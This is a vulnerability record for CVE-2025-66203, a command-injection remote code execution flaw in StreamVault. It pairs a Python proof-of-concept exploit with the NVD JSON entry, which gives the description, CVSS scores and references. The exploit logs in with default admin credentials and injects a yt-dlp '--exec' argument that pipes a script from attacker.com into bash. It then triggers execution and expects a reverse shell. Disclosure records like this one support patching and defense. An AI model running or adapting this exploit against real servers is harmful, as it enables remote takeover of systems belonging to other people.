CVE-2025-66203

import requests import json # CVE-2025-66203 PoC - StreamVault RCE via yt-dlp config # Target: StreamVault < version 251126 target_url = "http://target.com" # Step 1: Login as admin login_url = f"{target_url}/admin/api/login" login_data = { "username": "admin", "password": "admin" } session = requests.Session() login_response = session.post(login_url, json=login_data) # Step 2: Inject malicious yt-dlp argument for RCE save_config_url = f"{target_url}/admin/api/saveConfig" malicious_config = { "yt-dlp-args": "--exec 'curl http://attacker.com/shell.sh|bash'" } config_response = session.post(save_config_url, json=malicious_config) # Step 3: Trigger yt-dlp execution download_url = f"{target_url}/admin/api/download" download_data = { "url": "https://example.com/video.mp4" } download_response = session.post(download_url, json=download_data) print("RCE Payload sent. Check listener for reverse shell.")

{"cve": {"id": "CVE-2025-66203", "sourceIdentifier": "[email protected]", "published": "2025-12-27T00:15:41.590", "lastModified": "2026-03-09T13:41:33.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "StreamVault is a video download integration solution. Prior to version 251126, a Remote Code Execution (RCE) vulnerability exists in the stream-vault application (SpiritApplication). The application allows administrators to configure yt-dlp arguments via the /admin/api/saveConfig endpoint without sufficient validation. These arguments are stored globally and subsequently used in YtDlpUtil.java when constructing the command line to execute yt-dlp. This issue has been patched in version 251126."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lemon8866:streamvault:*:*:*:*:*:*:*:*", "versionEndExcluding": "251126", "matchCriteriaId": "952C94FD-9ED9-4B3D-AC13-7C188A2018F0"}]}]}], "references": [{"url": "https://github.com/lemon8866/StreamVault/releases/tag/251226", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/lemon8866/StreamVault/security/advisories/GHSA-c747-q388-3v6m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}